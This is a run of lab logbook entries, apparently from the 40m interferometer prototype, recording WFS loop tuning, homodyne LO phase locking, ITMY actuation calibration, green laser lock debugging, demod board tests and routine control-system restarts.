We confirmed the noisy 55 MHz is shared between AS55, BH55 and any other 55 MHz LOs. Looking more closely at the spectrum we saw the most prominent peaks at 11.06 MHz and 29.5 MHz (IMC and PMC nominal PM freqs). This 55 MHz LO is coming all the way from the RF distribution box near the IOO rack. According to this diagram, this 55 MHz LO should have gone through a bandpass filter; interestingly, checking the RF generation box spare 55 MHz the output is *cleaner* and displays ~ 17 dBm level... ??? Will continue investigating when we actually need this RF.

17320   Mon Nov 28 20:14:27 2022 AnchalUpdateASCAS WFS proposed path to IMC WFS heads

In Attachment 1, I give a plan for the proposed path of AS beam into the IMC WFS heads to use them temporarily as AS WFS. Paths shown in orange are the existing MC REFL path, red for the existing AS path, cyan for the proposed AS path, and yellow for the existing IFO refl path.  We plan to overlap AS beam to the same path by installing the following new optics on the table:

• M1 will be a new mirror mounted on a flipper mount reflecting 100% of AS beam to SW corner of the table.
• M2 will be a new fixed mirror for steering the new AS beam path to match with MC WFS path.
• M3 will be the existing beamsplitter used to pick off light for MC refl camera. We'll just mount this on a flipper so that it can be removed from the path. Precaution will be required to protect the CCD from high intensity MC reflection by putting on more ND filters.
• The AS beam would need to be made approximately 1 mm in beam width. The required lenses for this would be placed between M1 and M2.

I request people to go through this plan and find out if there are any possible issues and give suggestions.

PS: Thanks JC for the photos. I got it from foteee google photos. It would be nice if these are also put into the 40m wiki page for photos of optical tables.

RXA: Looks good. I'm not sure if ND filters can handle the 1 W MC reflection, so perhaps add another flipper there. It would be good if you can measure the power on the WFS with a power meter so we know what to put there. Ideally we would match the existing power levels there or get into the 0.1-10 mW range.

17321   Tue Nov 29 11:38:37 2022 JCHowToLSCLock Single Arm After MICH lock

I tried locking single arm this morning, but I was unable to because the triggers were set to lock strictly to MICH. Anchal explained this to me and helped me out. I figured this information would be useful and should be logged somewhere. In red, this is accessed through the IFO --> Configure. Choosing X Arm and Y Arm will change the triggers on the C1LSC page for the single arm locking (In the Black Box.)

17322   Tue Nov 29 15:32:32 2022 AnchalUpdateBHDc1hpc model updates to support double audio dither

Many changes have been done to c1hpc to support dual demodulation at audio frequencies. We moved away with ASS style of lockin setup as the number of connections and screens required would become very large. Instead now, the demodulation is done for a selected oscillator, on a selected signal. Similarly, the demodulated signal can be further demodulated for another selected oscillator. Please familarize yourself with new screen and test the new model. The previous version of the model is kept as backup alogn with all it's medm screens, so nothing is lost. Shown as an example in the screenshot, AS1 and BS oscillators can be turned on, and BHDC_DIFF signal can be demodulated first with BS and next with AS oscillator to get the signal.

17323   Wed Nov 30 10:48:10 2022 JCConfigurationGeneralLED Instead of Incandescent Lights

All incondescent lightsbulbs have been switched over to LED.

 Quote: Electrical came by today to see the lights. The issue may be the switches, but they will come by tomorrow to solve the issue. A couple light bulbs were noticed to be out, but they no longer have incandescent lights. . . only LED. I figured this would be preffered because of the reduction on noise. I would prefer to go ahead and ask to change all the incandescent bulbs to LED bulbs. Are there any objections to this?

17325   Wed Nov 30 14:25:34 2022 TegaUpdateCDSAMD display driver installation

After swapping out the HDD on donatella, I noticed that the display resolution was stuck on 700x400 and could not be changed. To fix this issue, I edited /etc/apt/sources.list to include the following:

deb http://ftp.us.debian.org/debian/ testing main non-free contrib
deb-src http://ftp.us.debian.org/debian/ testing main non-free contrib

to make non-free packages available in our repository, then I ran:

sudo apt-get update
sudo apt-get install firmware-amd-graphics

After the installation was complete, I did a reboot and the problem was fixed.

17326   Wed Nov 30 18:27:07 2022 PacoUpdateGeneralMaking the Jenne laser great again

[Paco]

I picked up the 950 nm laser that Koji tested before and restored the Jenne laser (may long it live).

I changed a couple of things; first I took out the old laser from the hose and noted the new laser has a shorter fiber patch cable, so I replaced the hose with a flexible fiber jacket I found around the X arm storage. I also added a 14 pin DIP socket so the laser is now always showing its part no. and is easy to install/uninstall. Last but not least I replaced the black insulating material right at the output of the laser package because it was decaying badly and spread a bunch of dusty residue all over the place. I used some foam instead.  See various attachments for visual support.

I was careful, testing the connections with a cheap LED to validate the setup before I connected the laser-- this made everything smooth and I finished the work by verifying the laser is outputting light at the other end of the fiber 1x2 coupler. The PD testing with Jenne's resucitated laser should proceed normally now.

RXA: Huzzah!!

17328   Wed Nov 30 20:01:08 2022 ranaSummaryCalibrationSingle arm cal with 5 lines

I don't think you need to record the excitations. They are just sine waves. The amplitude you can read off from the OSC screen. You just have to have the BEAT channel recorded and you can demod it to get the calibration. If the BEAT channel is calibrated in Hz, and you know the 40m arm length, then you're all done.

Quote:

## Analysis

Basically, only the DARM line was recorded (DQ channs) so I modified the c1cal to store the SIG_OUT and DEMOD_I_IN1 channels for both BEATX and BEATY cal signals. This means I need to repeat this measurement. In the meantime I am also going to try and rerun calibrate the BEAT HZ transfer function.

17329   Thu Dec 1 20:43:25 2022 AnchalSummaryCalibrationSingle arm cal with 5 lines

[Anchal, Paco]

We are doing this attempt again in following configuration:

• PSL shutter is closed. (So IR laser is free running)
• Beanote frequency between Y arm and Main laser is about 45 MHz.
• Green laser on Y end is locked. Transmission is above 1.1 (C1:ALS-TRY_OUT)
• All calibration oscillators are turned on and set to actuate ITMY. See screenshot attached.
• The calibration model was changed to demodulate the C1:ALS-BEATY_FINE_PHASE_OUT channel insteald. We'll have DQ channels before mixing with oscillator, after mixing, and also after applying a 4th order 30 Hz butterworth filter.

Start time:

PST: 2022-12-01 20:44:23.982114 PST
UTC: 2022-12-02 04:44:23.982114 UTC
GPS: 1353991481.982114

Stop time:

PST: 2022-12-02 14:32:29.547603 PST
UTC: 2022-12-02 22:32:29.547603 UTC
GPS: 1354055567.547603

17330   Fri Dec 2 15:59:55 2022 RadhikaUpdateALSXARM green laser lock debugging

I took a transfer function measurement of the XEND PDH servo box, from servo input to piezo output [Attachment 1]. The servo gain knob was set to 10. The swept sine input was 50 mVpp, as to not saturate the servo components. I toggled the local boost on/off for these measurements. With the boost on, coherence was lost from ~100Hz-10kHz, and the saturation light indicators were flashing. I will retake this measurement shortly.

Atachment 2 is from a previous measurement of this PDH servo TF, found here. For this measurement, boost was off and the gain knob was set to 2.0. (If there is a more recent measurement than 2010, please point me to it.)

17331   Sat Dec 3 10:13:56 2022 AnchalUpdateSUSLow noise state

I've turned off HEPA fan and all lights at:

PST: 2022-12-03 10:13:03.184705 PST
UTC: 2022-12-03 18:13:03.184705 UTC
GPS: 1354126401.184705

17332   Sat Dec 3 17:42:25 2022 AnchalUpdateASCIMC WFS Fixed for now

Today I did a lot of steps to eventually reach to WFS locking stably for long times and improving and keeping the IMC transmission counts to 14400. I think the main culprit in thw WFS loop going unstable was the offset value set on MC_TRANS_PIT filter module  (C1:IOO-MC_TRANS_PIT_OFFSET). This value was roughly correct in magnitude but opposite in sign, which created a big offset in MC_TRANS PIT error signal which would integrate by the loops and misalign the mode cleaner.

WFS offsets tuning

• I ran C1:IOO-WFS_MASTER > Actiona > Correct WFS DC offsets script while the two WFS heads were blocked.
• Then I aligned IMC to maximize transmission. I also made PMC transmission better by walking the input beam.
• Then, while IMC is locked and WFS loops are off, I aligned the beam spot on WFS heads to center it in DC (i.e. zeroing C1:IOO-WFS1_PIT_DC, C1:IOO-WFS1_YAW_DC, C1:IOO-WFS2_PIT_DC, C1:IOO-WFS2_YAW_DC)
• Then I ran C1:IOO-WFS_MASTER > Actiona > Correct WFS DC offsets script while keeping IMC locked (note the script says to keep it unlocked, but I think that moves away the beam). If we all agree this is ok, I'll edit this script.
• Then I checked the error signals of all WFS loops and still found that C1:IOO-MC_TRANS_PIT_OUTPUT and C1:IOO-MC_TRANS_YAW_OUTPUT have offsets. I relieved these offsets by averaging the input to these filter moduels for 100s and updating the offset. This is where I noticed that the PIT offset was wrong in sign.

WFS loops UGF tuning

• Starting with only YAW loops, I measured the open loop transfer functions (OLTFs) for each loop by simultaneously injecting gaussian noise from 0.01 Hz to 0.5 Hz using diaggui at the loop filter module excitation points and taking ration of IN1/IN2 of the filter modules.
• Then I scaled the YAW output matrix columns to get UGF of 0.1 Hz when YAW loop was along turned on.
• Then I tried to do this for PIT as well but it failed as even with overall gain of 0.1, the PIT loops actuate a lot of YAW motion causing the IMC to loose lock eventually.
• So I tried locking PIT loops along with YAW loops but with 0.1 overall gain. This worked for long enough that I could get a rough estimate of the OLTFs. I scaled the columns of PIT output matrix and slowly increased the overall gain while repeating this step to get about 0.1 Hz UGF for all PIT loops too.
• Note though that the PIT loop shape did not come out as expected with a shallower slope and much worse coherence for same amount of excitation in comparison to YAW loops. See attached plots.
• Never the less, I was able to reach to an output matric which works at overall gain of 1. I tested this configuration for atleast 15 minutes but the loop was working even with 6 excitations happening simultaneously for OLTF measurement.
• We will need to revisit PIT loop shapes, matrix diagonalization, and sources of noise.

OLTF measurements were done using this diaggui file. The measurement file got deleted by me by mistake, so I recreated the template. Thankfully, I had saved the pdf of the measurements, but I do not have same measurement results in the git repo.

17333   Sun Dec 4 10:03:02 2022 ChrisUpdateOptimal ControlIMC alignment controller testing

Another five mode cleaner alignment controllers were tested last night (remotely), running in tandem with the standard controller. As before, c1ioo was burt restored to Oct 28 and the MC TRANS PIT/YAW 80dB gain filters were disabled before the test. Each test consisted of five minutes with pitch alignment uncontrolled, five minutes with the standard controller only, and twenty minutes with both controllers enabled.

The first four tests went smoothly, but the last controller (goldfish_short) repeatedly broke the lock. Eventually I got it running with an output gain of 0.5, strong enough to see the misbehavior without unlocking the mode cleaner.

GPS times for each phase of testing were the following:

1. ichabod
• Open loop 1354165556
• Closed loop 1354165866
• Policy 1354166241
1. ichabod_2
• Open loop 1354167462
• Closed loop 1354167772
• Policy 1354168113
1. ichabod_3
• Open loop 1354169357
• Closed loop 1354169667
• Policy 1354170006
1. goldfish_long
• Open loop 1354171297
• Closed loop 1354171607
• Policy 1354172022
1. goldfish_short
• Open loop 1354173255
• Closed loop 1354173565
• Policy 1354173924 (output gain 1.0, immediately unlocked the cavity)
• Policy 1354175008 (output gain 0.1, 2 min)
• Policy 1354175189 (output gain 0.3, 2 min)
• Policy 1354175376 (output gain 0.5, 20 min)
17334   Sun Dec 4 16:44:04 2022 AnchalUpdateASCIMC WFS Fixed for now

Today, I worked on WFS loop output matrix for PIT DOFs.

• I began with the matrix that was in place before Nov 15.
• I followed the same method as last time to fist get all UGFs around 0.06 Hz with overall gain of 0.6 on the WFS loops.
• This showed me that MC2_TRANS_PIT loop shape matches well with the nice working YAW loops, but the WFS1 and WFS2 loops still looked flat like before.
• This indicated that output matrix needs to be fixed for cross coupling between WFS1 and WFS2 loops.
• I ran this script WFSoutMatBalancing.py which injects low frequency (<0.5 Hz) oscillations when the loops are open, and measures sensing matrix using error signals. I used 1000s duration for this test.
• The direct inverse of this sensing matrix fixed the loop shape for WFS1 indicating WFS1 PIT loop is disentangled from WFS2 now.
• Note this is a very vague definition of diagonalization, but I am aiming to reach to a workign WFS loop asap with whatever means first. Then we can work on accurate diagonalization later.
• I simply ran the script WFSoutMatBalancing.py again for another 1000s and this time the sensing matrix mostly looked like an identity.
• I implemented the new output matrix found by direct inversion and took new OLTF.Again though, the WFS2_PIT loop comes out to be flat. See Attachment 1.
• Then noting from this elog post, I reduced the gain values on MC2 TRANS loops to 0.1 I think it is better to use this place to reduce loop UGF then the output matrix as this will remind us that MC2 TRANS loops are slower than others by 10 times.
• I retook OLTF but very unexpected results came. The overall gain of WFS1_YAW and WFS2_YAW seemed to have increased by 6. All other OLTFs remained same as expected. See attachment 2.
• To fulfill the condition that all UGF should be less than 0.1 Hz, I reduced gains on WFS1_YAW and WFS2_YAW loops but that made the YAW loops unstable. So I reverted back to all gains 1.
• We probably need to diagonalize Yaw matrix better than it is for letting MC2_TRANS_YAW loop to be at lower UGF.
• I'm leaving the mode cleaner in this state and would come back in an hour to see if it remains locked at good alignment. See attachment 3 for current state.

Sun Dec 4 17:36:32 2022 AG: IMC lock is holding as strong as before. None of the control signals or error signals seem to be increasing monotonously over the last one hour. I'll continue monitoring the lock.

Mon Dec 5 11:11:08 2022 AG: IMC was locked all night for past 18 hours. See attachment 4 for the minute trend.

17335   Mon Dec 5 12:05:29 2022 AnchalUpdateCDSc1sus2 all FE models crashed spontaneously

Just a few minutes ago, all models on FE c1sus2 crashed. I'm attaching some important files that can be helpful in investigating this. CDS upgrade team, please take a look.

I fixed this by running following on c1sus2:

controls@c1sus2:~\$ rtcds restart --all
17336   Mon Dec 5 16:24:45 2022 AnchalUpdateASCIMC WFS servo diagnosis

I ran the toggleWFSoffsets.py script to generate a step response of the WFS loops in operation. Attachment 1 shows the diaggui measured time response following the parameters mentioned in 40m/17255. There are few things to quickly note from this measurement without doing detailed analysis:

• WFS2_PIT is heavily cross-coupled with WFS1_PIT and MC2_TRANS_PIT. This was also the inference from the previous post based on loop shape for WFS2_PIT loop. This needs to be fixed.
• Weirdly enough, it seems that WFS2_PIT is also cross coupled with MC2_TRANS_YAW.
• MC2_TRANS_PIT is not coupled to WFS1_PIT or WFS2_PIT. This was the major issue in last measurement in 40m/17255.
• WFS1_PIT is coupled to MC2_TRANS_PIT by about half, but is not cross-coupled to WFS2_PIT.
• For YAW, the DOFs are mostly disentangled except for a cross coupling of WFS1_YAW to MC2_TRANS_YAW by about 60%.

To get out the UGF of the loops from the step responses, I need to read this into python and apply the same filters and analyze time constants. I still have to do this part, but I thought I'll put out the result before spending more time on this.

GPSTIME: 1354314478

17337   Mon Dec 5 20:02:06 2022 AnchalUpdateASCIMC WFS heads electronic feasibility test for using for Arm ASC

I took transfer function measurement of WFS2 SEG4 photodiode between 1 MHz to 100 MHz in a linear sweep.

### Measurement details:

• The reincarnated Jenne laser head was used for this test. The laser diode is 950 nm though, which should just mean a different responsivity of the photodiode while we are mainly interested in relative response of the WFS heads at 11 MHz and 55 MHz with respect to 29.5 MHz.
• See attachment 2 for how the laser was placed on AP table.
• The beam was injected in between beam splitter for MC reflection camera and beam splitter for beam dump.
• The input was aligned such that all the light of the laser was falling on Segment 4 of WFS2.
• Using moku, I took RF transfer function from 1 MHz to 100 MHz, 512 points, linearly spaced, with excitation amplitude of 1 V and 100,000 cycles of averaging.
• Measurement data and settings are stored here.

### Results:

Relative to 29.5 MHz, teh photodiode response is:

• At 11 MHz: -20.4 dB
• At 55 MHz: -36.9 dB
• At 71.28 MHz: -5.9 dB

I'm throwing in an extra number at the end as I found a peak at this frequency as well. This means to use these WFS heads for arm ASC, we need to have 10 times more light for 11 MHz and roughly 100 times more light for 55 MHz. According to Gautam's thesis Table A.1 and this elog post, the modulation depth for 11 MHz is 0.193 and for 55 MHz is 0.243 in comparison to 0.1 for 29.5 MHz., so the sideband TEM00 light available for beating against carrier TEM01/TEM10 is roughly twice as much for single arm ASC. That would mean we would have 5 times less error signal for 11 MHz and 40 times less error signal for 55 MHz. These are rough calculations ofcourse.

17338   Tue Dec 6 09:39:22 2022 yehonathanUpdateCDSAnother CDS crash

Around 9:30 we noticed IMC going out of lock with MC1 swinging hard. It seems like the coil output shut down.

It looks like the same situation as last Monday http://nodus.ligo.caltech.edu:8080/40m/17315.

Following that elog I restarted all the models by sshing into all computers and running

rtcds restart --all

Then I burt restored all models to yesterday evening point doing following on rossa:

~>cd /opt/rtcds/caltech/c1/Git/40m/scripts/cds
cds (main)>./burtRestoreAndResetSUS.sh /opt/rtcds/caltech/c1/burt/autoburt/snapshots/2022/Dec/5/20:19

That seemed to have worked.

I also had to clear the WFS output to restore MC1 back to its place. Once the IMC got restored I turned the WFS again.

17339   Tue Dec 6 13:09:44 2022 yutaUpdateBHDc1cal model updates to support sensing matrix for BHD

[Anchal, Yuta]

We have modified c1cal model to support sensing matrix measurements for BHD PDs on Friday last week.
c1cal model now can inject dither to LO1, LO2, AS1, and AS4, and demodulate BH55_I, BH55_Q, BHDC_SUM and BHDC_DIFF signals.
Related models, c1lsc, c1hpc, and c1sus2 are also modifed accordingly.
MEDM screens are also edited accordingly.
Attachments highlight the modifications.

17340   Tue Dec 6 15:29:35 2022 RadhikaUpdateALSXARM green laser lock debugging

We retook transfer function measurements of the XEND PDH servo box, this time setting the gain knob to 3.5 to avoid saturation. Once again I toggled the boost on/off. Attachment 1 shows the resulting bode plots, which now resemble the previous measurements circa 2010. This measurement along with the previous one suggest that setting the gain knob too high might affect the loop shape in an unpredictable way. With this accounted for, it seems the PDH servo box is functioning as expected.

17341   Tue Dec 6 15:59:46 2022 RadhikaUpdateALSXARM green laser lock debugging

Paco suggested that alignment could still be the primary reason why the XEND green laser is not catching lock. With the xarm cavity aligned with IR, I adjusted the M1 and M2 steering mirrors for the green laser, looking at the REFL PD output in an oscilloscope. Paco joined and was able to achieve better mode matching by adjusting mirrors and rotating the half-wave plate. At this point, we could see TEM00 consistently flashing. Green transmission also reached a value of 3, from around 0.5 that I was able to achieve previously (this channel is not normalized).

We broke the loop to make sure the demodulated signal looked as expected, and indeed it resembled a PDH error signal. After reconnecting the loop (with the gain knob set to 3.5), Paco lowered the REFL PD gain by 3 stages and I was able to raise the gain knob to 8 without the servo saturating. I turned boost on and toggled the servo inversion until the laser started to hold lock for a few seconds. The piezo output signal looked reasonable at this point, without clipping on either end.

After some final adjustments to the steering mirrors and the half-wave plate, the green laser can hold lock for around 5 seconds. However it's unclear why the loop isn't more stable, and more updates are to come.

17342   Tue Dec 6 16:52:26 2022 AnchalUpdateASCIMC WFS heads electronic feasibility test for using for Arm ASC

I tested teh WFS demod board for possibility of demodulating 11 MHz or 55 MHz signal with it. It definitely has some bandpass filter inside as the response is very bad for 11 MHz and 55 MHz. See attached the ASD curves for the excitations seens on I and Q inputs of WFS1 Segment 2 when it was demodulated with a clock of different frequencies but same amplitude of 783.5 mVpp (this was measured output of 29.5 MHz signal from RF distribution board). See attachments 2-4 for mokulab settings. Note for 29.5 MHz case, I added an additional 10 dB attenuator to output 1.

The measurement required me to change signal power level to see a signal of atleast 10 SNR. If we take signal level of 29.5 MHz as reference, following are the responses at other frequencies:

• At 11 MHz:
• I: -92 dB
• Q: -97 dB
• At 55 MHz:
• I: -75 dB
• Q: -72 dB

Note that I and Q outputs are unbalanced as well for the two different demodulation frequencies.

This means that if we want to use the WFS demodulation boards as is, we'll need to amplify the photodiode signal by the above amounts to get same level of outputs. I stil need to see the DCC document of these board and if the LO is also bandpassed. In which case, we can probably amplify the LO to improve the demodulation at 11 and 55 MHz. THe beatnote time series for the measured data did not show an obvious sinusoidal oscillation, so I chose to not show a plot with just noise here.

17343   Tue Dec 6 17:12:23 2022 yehonathanSummaryBHDLO phase control using audio (MICH and AS1) + RF

{Yuta, Yehonathan}

Today we lock LO phase using audio+RF method in two variants: AS1+RF and MICH(BS)+RF. We measure the TFs and find that AS1 variant has a UGF ~ 17Hz and MICH variant has a UGF ~ 32Hz.

Details

1. We lock MICH in the usual way using AS55. ITMs are aligned to make AS port dark. We use a single bounce and optimize mode-matching with LO beam by minimizing the BHDDC-A signal.

2. Using the new BHD Homodyne phase control MEDM screen we first try AS1. We put an elliptic filter with 80Hz corner frequency on the DEMOD1 filter bank. We find that the notch of that filter is at 281.768Hz and this is where we put the AS1 dither line.

AS1 is dithered with 20000 counts. We optimize the DEMOD1 demodulation angle by dithering LO1 at 27Hz and minimizing the Q quadrature in diaggui. We find that 45 degrees is the optimal demod angle. We lock the LO phase with a gain of ~ 45 and take the OLTF (attachment 1).

3. Next, we use MICH degree of freedom to lock LO phase. We dither BS with the same frequency as before with 4000 counts. Higher counts seem to put some offset on ASDC. As before we optimize the DEMOD1 demod angle and find it to be 115deg. We lock LO phase with a gain of 20 and take the OLTF (attachment 2).

17344   Tue Dec 6 17:40:13 2022 KojiUpdateASCIMC WFS heads electronic feasibility test for using for Arm ASC

We have spare WFS demods in a plastic box along the Y arm. So you don't need to modify the IMC demod boards, which we want to keep in the current state.

17345   Wed Dec 7 16:21:05 2022 yutaSummaryBHDImproved MICH BHD alignment

[Yehonathan, Yuta]

We found that moving AS1 in yaw improves power on ASDC and AS55.
We compensated this move with AS4 and SR2 to keep the BHD fringe (ITM single bounce and LO beam fringes ~600 counts in amplitude at BH55).
We have also aligned BHD CCD camera to avoid clipping on a lens just before the camera (all the other optics on ITMY table remain untouched).
After the alignment, MICH BHD sensing matrix were measured with new C1CAL model (40m/17339) under the following conditions.
- Locked MICH with AS55_Q at dark fringe. Notch at 311.1 Hz was turned on.
- Locked LO PHASE with BH55_Q with C1:HPC-LO_PHASE_GAIN=-2, using LO1.

Sensing matrix with the following demodulation phases (counts/m) {'AS55': -161.16488964312092, 'BH55': 162.57275834049358} Sensors      BS @311.1 Hz           LO1 @147.1 Hz           AS1 @141.79 Hz            AS55_I       (-0.19+/-1.45)e+07    (-0.26+/-2.43)e+06    (+0.35+/-2.39)e+06     AS55_Q       (-1.74+/-0.02)e+09    (+1.61+/-8.31)e+06    (+1.08+/-8.59)e+06     BH55_I       (+3.01+/-0.17)e+09    (+3.20+/-9.59)e+07    (-3.67+/-9.46)e+07     BH55_Q       (-6.77+/-0.45)e+09    (+1.09+/-0.17)e+09    (-1.22+/-0.18)e+09     BHDC_DIFF    (-8.41+/-4.81)e+08    (-1.26+/-0.94)e+08    (+1.38+/-1.03)e+08     BHDC_SUM     (-2.75+/-9.14)e+07    (+1.18+/-1.13)e+07    (-0.97+/-1.02)e+07

AS55_Q optical gain to MICH and BH55_Q optical gain to LO phase was improved by ~45%, compared with previous measurements (see 40m/17287).
The value for AS55_Q is consistent with the free swing measurement as attached.
SENSMAT part of c1cal seems to be working fine.

17346   Thu Dec 8 16:21:40 2022 PacoSummaryCalibrationITMY actuation strength cal with 5 lines

[Anchal, Paco]

After debugging the hardware, on gpstime 1354422834 we turned on 5 cal lines on ITMY to test the ALS calibration for the single arm along with our error estimates.

Note: the YARM IR lock lasted > 8 hours, but the GRY transmission dropped twice during the evening and hopped back up, so the phase tracker jumped a couple of times.

### Configuration

YAUX laser was locked to the YARM through the analog PDH servo (UGF ~ 2 kHz), YARM was locked to the PSL with POY11 (UGF ~ 200 Hz), and the ALS phase tracker was set to output the beat frequency noise in Hz. HEPA was left on during this measurement. The oscillators were similar to previous instances: gains of 70@211.1Hz, 100@313.31Hz, 100@315.17Hz, 300@575.17Hz and 15@30.92Hz with appropriate notches on ETMY to avoid POY11 loop supression.

### Analysis

For YARM, the high bandwidth YAUX laser loop with transfer function G ensures that the relative laser frequency fluctuations correlate with the relative length fluctuations as:

$\frac{\delta \nu}{\nu} = \frac{G}{1 - G} {\frac{\delta L}{L}}$

Then, getting the magnitude of the YARM displacement at calibration frequencies is possible by knowing the arm cavity length, open loop gain, and absolute frequency (wavelength). The relative calibration error on the magnitude of the displacement is

$\frac{\Delta \lvert \delta L\lvert}{\lvert \delta L \lvert} = \left[ \left(\frac{\Delta {L}}{L}\right)^2+ \left(\frac{\Delta {\lambda}}{\lambda}\right)^2 + \left(\frac{\Delta {{\delta \nu}}}{{\delta \nu}}\right)^2 + \left(\frac{\Delta \lvert G \lvert}{\lvert G \lvert(\lvert G \lvert - 1)}\right)^2 \right]^{1/2}$

including the relative uncertainties in the YARM length, wavelength, and open loop gain. Interestingly, the loop gain term weighs proportionally less as G increases, so even if G = 100 (10), its relative error contribution would be < 1%. To estimate our total error, we assume the wavelength and YARM length are 1064.1(5) and 37.79(1), and add the frequency dependent values for G with 10% error. Finally, we use the rms ASD to estimate the relative error from the beatnote fluctuation measurement.

The measurement was done similar to other instances, taking the 'C1:ALS-BEATY_FINE_PHASE_OUT_HZ_DQ' timeseries (sampled at 16 kHz) and demodulating at the calibration frequencies above to get the mean YAUX laser frequency fluctuation and its uncertainty from the demodulated rms ASD.

### Results

Attachment #1 shows the raw timeseries, Attachment #2 shows the spectra around the cal lines, Attachment #3 shows the demodulated timeseries, Attachment #4 shows the final result for the 5 lines, including the tallied errors as detailed above.

ITMY actuation = 4.92(11) nm / count / f^2

### Discussion

We compared our results from Attachment #4 against a MICH referenced ITMY actuation calibration found here; which Yuta guess-timated a 10% uncertainty (gray shaded band in Attachment #4). An important correction came for the 575 Hz line, not just because the YAUX OLG is small but because a violin filter on ITMY LSC output has a 1.4475 gain bump. In fact we collected any additional digital gains from the ITMY output filters:

 30.92 Hz 211.1 Hz 313.31 Hz 315.31 Hz 575.17 Hz 1.00007 1.0034 1.0101 1.01017 1.4475

### Next

• Consider moving the 575 Hz line to avoid additional digital gain, but try to remain at high frequency.
• Maybe here we can use the resonant gain MOKU filters that Radhika is designing.
• Setup a live loop gain calibration to reduce the uncertainty for the high frequency cal line.
• We can also just grab GTRY (transmission) as a proxy for optical gain and use for budgeting.
• Work on setting up constraints for error mitigation based on allan deviation of the beatnote and PDH nonlinearity.
• Move this to FPMI or some other lock configuration
17347   Thu Dec 8 17:52:39 2022 yutaSummaryBHDMICH BHD optical gain measurements at different LO phases, RF+audio dither

[Yehonathan, Yuta]

Sensing matrix measurements at different LO phases were performed under LO phase locked to both BH55_Q and BH55_Q+MICH dither.
We confirmed that BH55_Q+MICHdither can lock LO phase to around maximum MICH sensitivity for BHD_DIFF.

Locking configuratons
- MICH was lockied using AS55_Q feeding back to BS, at dark fringe. Notch at 311.1 Hz was turned on. C1:LSC-MICH_GAIN=-6 (lowered to reduce BS DAC saturation).
- LO PHASE was locked using BH55_Q, feeding back to LO1. FM2, FM5, FM8 on. C1:HPC-LO_PHASE_GAIN=+/-2.
- LO PHASE was also locked using BH55_Q+MICHdither. BS was dithered with C1:HPC-BS_POS_OSC_CLKGAIN=4000 at 281.768 Hz (2nd notch of ELP80 used for demodulation). Feeding back to LO1. FM5, FM8 on (no LF boost). C1:HPC-LO_PHASE_GAIN=+/-20.
-- Note that we could not increase the dither amplitude more as BS DAC starts to saturate (we are using BS for MICH loop, sensing matrix measurement, and audio dither; see 40m/17343).

Sensing martix measurements
- Lines are injected to BS @ 311.1 Hz with amplitude of 1000, LO1 @ 147.1 Hz and AS1 @ 141.79 Hz with amplitude of 5000.

Estimating LO phase
- Estimation of LO phase was done in the same way described in 40m/17287. We used measured sensitivity of BH55_Q for LO1 at BH55_Q zero crossing (-1.42e9 counts/m) to estimate LO phase offset from BH55_Q zero crossing.
- In BH55_Q+MICHdither case, LO phase was flipped using the following equation when C1:HPC-LO_PHASE_GAIN is minus (to have consistend LO phase dependence with BH55_Q locking. NEEDS CHECK).

LOphase = 180 - arcsin(BH55_Q/A)

Result
- Attachment #1 shows the sensitivity of AS55, BH55, BHDC_DIFF/SUM to BS (upper panel), LO1 (middle) and AS1 (lower), under LO phase locked to BH55_Q. The upper plot is the same plot as 40m/17287. As we can see, "0 deg" in the x-axis is not the optimal phase for BHDC_DIFF to have maximum MICH sensitivity. "0 deg" is the optimal point in terms of BH55_Q sensitivity to LO1/AS1, as we tuned the demodulation phase to maximize it.
- Attachment #2 shows the same plot, under LO phase locked to BH55_Q+MICH dither. Sensitivity of BH55_Q to MICH crosses zero at round these measurements, as we are zero-ing it with this locking scheme. Around these LO phases, sensitivity of BHDC_DIFF to MICH is maximized as expected. Also, sensitivity of BHDC_DIFF to LO1/AS1 is minimized, as expected (assuming residual MICH offset and contrast defect are small).
- Attachment #3 is the combined data from #1 and #2. Data points from BH55_Q locking are marked with "o" and those from BH55_Q+MICH dither locking are marked with "x" (they have larger uncertainties in LO phase). Both measurements are somewhat inconsistent in some channels (BS to BHDC_DIFF and LO1/AS1 to BH55_Q). Needs further investigation.
- Dashed lines are from scipy.optimize.curve_fit using the following fitting function.

def fitfunc(x, a,b,c):

Next:
- Lock MICH with BHDC_DIFF under LO phase locked to BH55_Q+MICHdither
- Estimate LO phase noise contribution to MICH displacement sensitivity
- Improve LO phase loop
- Try audio+audio dither
- Move on to FPMI
- Move on to 44MHz
- Estimate the amount of residual MICH offset and contrast defect from these plots

17348   Thu Dec 8 20:40:14 2022 AnchalUpdateASCWFS demodulation board modification attempt

Based on the previous two elog posts, Koji and I decided that we should use 11 MHz signal for arm cavity ASC and modify a spare WFS demod board to work at 11 MHz. This board LIGO-D980233, uses a PLL to lock the to LO input and generate I and Q ECL clock signals from it. For this purpose, it uses POS-XX minicircuits VCO. For IMC WFS boards the model number is POS-75 and with the board design, it can work for 18.75 MHz to 37.5 MHz modulation frequencies.

To make it work for 11 MHz, we have to swap this with POS-25 but that is not available for purchase anywhere. So Koji and I decided to use Moku:GO as a VCO and make connections to the pin holes on the board. Today, I modified a spare WFS board to make this possible. I added a right angle SMA connector to take in VCO output signal and a BNC connector to send out tuning signal. See attached photos for the details of this hack.

Then I went to 1X2 and tried on this modified board on a Euro crate empty slot. I used Moku:GO in a multi-instrument mode in which first instrument was a Waveform generator set to modulate from external input 1 at 6 MHz/V. The output RF level was checked on an oscilloscope and increased until I got about 9.5 dBm power at the output. The second instrument was just an spectrum analyzer to see if the test output from ICLK looks ok. I fed LO from a spare output port on RF distribution box for 11 MHz signal. I made sure to attenuate this signal to get 2 dBm LO signal which is the case for the WFS demod board LO input as well.

This test however failed. I could not see any signal from ICLK or QCLK output. I then tried to use the same slot as the demod board for WFS1 is used and I still did not see any output on ICLK or QCLK. I split the VCO tuning signal coming from the board to see it on an oscilloscope and it was mostly noise of ~1 mV level. I then tried to check ICLK and QCLK on oscilloscope and saw that they had a huge offset of -1.7 V. I suspect some ground mismatch issue between Moku:GO and the demod board.

I decided to call it a day here.

I reset everything back to how it was on the rack and turned on IMC WFS again. It is working as usual keeping lock steady for atleast last 20 min that I have seen it.

17349   Fri Dec 9 05:04:45 2022 ranaSummaryASCMC WFS sensing matrix measurement

I made a script to toggle the offsets in the MC SUS so that we can see the resulting error signals in the MC WFS / MC-TRANS_QPD.

I ran it just before 5 AM local time Friday morning.

It goes in order and applies a 50 count offset to the pitch filter banks. During this test the input to the IMC WFS servos is set to zero, so that the integrators hold the mirror position in the aligned state.

I will analyze this 3x3 measurement and post the resulting sensing matrix soon. It would be good if someone can post here the actuation calibration in radians, so that we can have a physical calibration of the sensing matrix in counts/radian.

